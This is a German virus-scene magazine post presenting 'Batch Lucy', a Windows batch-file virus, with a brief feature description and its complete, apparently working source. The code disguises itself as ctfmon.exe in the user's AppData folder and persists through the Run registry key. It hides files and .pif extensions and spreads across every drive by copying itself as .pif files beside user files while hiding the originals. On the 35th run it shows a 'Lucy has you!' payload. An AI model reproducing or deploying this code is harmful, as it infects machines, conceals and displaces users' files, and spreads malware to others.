[+]Topic: Code
[+]Von: Rayden
[+]Return: Code

**********************
*     Batch Lucy     *
*   (c) by Rayden    *
**********************
* www.DarK-CodeZ.com *
**********************


*******************************
* Lucy Versionen und Kurzinfo *
*******************************


Lucy.A
-------

Download: DC Mag #2

- Die ursprüngliche Datei wird-, sofern sie vorher überschrieben wurde und existiert, geöffnet.
- Überschreibt pro Start alle Dateien eines zufälligen Dateityps, hängt die Extension .pif an und versteckt die originale 
  Datei.

- Wird Lucy das 35. mal ausgeführt, öffnet sich eine Messagebox mit dem Text "Lucy has you!" Und der Text "Lucy" erscheint 
  unten rechts neben der Uhr. Anschliessend werden alle Dateien überschrieben, die Extension .pif angehängt und die 
  originale Datei versteckt.

:: **********************
:: *     Batch Lucy     *
:: *   (c) by Rayden    *
:: **********************
:: * www.DarK-CodeZ.com *
:: **********************
@echo off
if "%1" == "/s" goto lucyvari
if %0 == "%~dpn0.pif" (
attrib -s -h "%~dpn0"
if exist "%~dpn0" start "%~dpn0" "%~dpn0"
attrib +s +h "%~dpn0"
)
:lucyvari
set olucy=Microsoft\Ctfmon
set dlucy=ctfmon.exe
cd /d %appdata%
mkdir "%olucy%" > nul 2>&1
cd %olucy%
attrib -r -s -h %0 > nul
if "%1" == "/s" copy %0 "%dlucy%" > nul & goto lucyruns
copy %0 "%dlucy%" > nul
if "%errorlevel%" == "0" goto lucyopen
fc %0 "%dlucy%" > nul
if "%errorlevel%" == "0" exit
goto lucyruns
:lucyopen
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "%dlucy%" /t "REG_SZ" /d "%appdata%\%olucy%\%dlucy% /s" /f > nul
start "ctfmon.exe" "%appdata%\%olucy%\%dlucy%" /s
exit
:lucyruns
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "Hidden" /t "REG_DWORD" /d "2" /f > nul
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t "REG_DWORD" /d "0" /f > nul
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "SuperHidden" /t "REG_DWORD" /d "1" /f > nul
reg add "HKCR\piffile" /ve /t "REG_SZ" /d "" /f > nul
reg add "HKCR\piffile" /v "NeverShowExt" /t "REG_SZ" /d "" /f > nul
reg add "HKCR\piffile" /v "InfoTip" /t "REG_SZ" /d "prop:FileDescription;Company;FileVersion;Create;Size" /f > nul
reg delete "HKCR\piffile" /v "IsShortcut" /f > nul
attrib -r -s -h "*.ini"
if exist "run.ini" goto lucycount
echo ^1>"run.ini"
goto lucyext
:lucycount
set /p run=<"run.ini"
set /a run=run+1
if "%run%" == "35" goto lucypayload
echo ^%run%>"run.ini"
:lucyext
assoc>temp.ini
echo /Lucy/>>"temp.ini"
findstr /n "^/Lucy/" "temp.ini">temp3.ini
for /f "tokens=1* delims=:" %%a in (temp3.ini) do set max=%%a
del /f /q temp3.ini
:lucy
set min=1
set /a max=max-1
echo %random% > nul
set /a A=min+(max-min+1)*%random%/32768
more /e /p +%A% "temp.ini">"temp2.ini"
set /p ext=<"temp2.ini"
for /f "tokens=1* delims==" %%a in ("%ext%") do set lext=%%a
for /f "tokens=1* delims=." %%a in ("%lext%") do set uext=%%a
for %%a in (C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) do if exist "%%a\" (
cd /d %%a\
for /r %%c in (*.%uext%) do copy %0 "%%c.pif" > nul
for /r %%y in (*.%uext%) do attrib +s +h "%%y" > nul
)
cd /d %appdata%
cd %olucy%
del /f /q temp.ini
del /f /q temp2.ini
exit
:lucypayload
echo ^0>"run.ini"
reg add "HKCU\Control Panel\International" /v "sTimeFormat" /t "REG_SZ" /d "HH:mm:ss tt" /f > nul
reg add "HKCU\Control Panel\International" /v "s1159" /t "REG_SZ" /d "| Lucy" /f > nul
reg add "HKCU\Control Panel\International" /v "s2359" /t "REG_SZ" /d "| Lucy" /f > nul
reg add "HKCU\Console" /v "FullScreen" /t "REG_DWORD" /d "1" /f > nul
cd /d %temp%
echo @echo off>lucy.bat
echo title Lucy has you!>>lucy.bat
echo color 0C>>lucy.bat
echo :lucy>>lucy.bat
echo echo  _                       _                                   _>>lucy.bat
echo echo ^^^| ^^^|   _   _  ___ _   _  ^^^| ^^^|__   __ _ ___   _   _  ___  _   _^^^| ^^^|>>lucy.bat
echo echo ^^^| ^^^|  ^^^| ^^^| ^^^| ^^^|/ __^^^| ^^^| ^^^| ^^^| ^^^| '_ \ / _` / __^^^| ^^^| ^^^| ^^^| ^^^|/ _ \^^^| ^^^| ^^^| ^^^| ^^^|>>lucy.bat
echo echo ^^^| ^^^|__^^^| ^^^|_^^^| ^^^| (__^^^| ^^^|_^^^| ^^^| ^^^| ^^^| ^^^| ^^^| (_^^^| \__ \ ^^^| ^^^|_^^^| ^^^| (_) ^^^| ^^^|_^^^| ^^^|_^^^|>>lucy.bat
echo echo ^^^|_____\__,_^^^|\___^^^|\__, ^^^| ^^^|_^^^| ^^^|_^^^|\__,_^^^|___/  \__, ^^^|\___/ \__,_(_)>>lucy.bat
echo echo                  ^^^|___/                     ^^^|___/>>lucy.bat
echo pause ^> nul>>lucy.bat
echo cls>>lucy.bat
echo goto lucy>>lucy.bat
start "Lucy has you!" "lucy.bat"
cd /d %appdata%
cd %olucy%
reg add "HKCU\Console" /v "FullScreen" /t "REG_DWORD" /d "0" /f > nul
set A=0
assoc>temp.ini
echo /Lucy/>>"temp.ini"
set /p ext=<"temp.ini"
if "%ext%" == "/Lucy/" goto endext
goto extraext
:nextext
set /a A=A+1
more /e /p +%A% "temp.ini">"temp2.ini"
set /p ext=<"temp2.ini"
if "%ext%" == "/Lucy/" goto endext
goto extraext
:extraext
for /f "tokens=1* delims==" %%a in ("%ext%") do set lext=%%a
for /f "tokens=1* delims=." %%a in ("%lext%") do set uext=%%a
for %%a in (C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) do if exist "%%a\" (
cd /d %%a\
for /r %%c in (*.%uext%) do copy %0 "%%c.pif" > nul
for /r %%y in (*.%uext%) do attrib +s +h "%%y" > nul
)
cd /d %appdata%
cd %olucy%
ping -n 2 127.0.0.1 > nul
goto nextext
:endext
del /f /q temp.ini
del /f /q temp2.ini
exit
:: Os iusti meditabitur sapientiam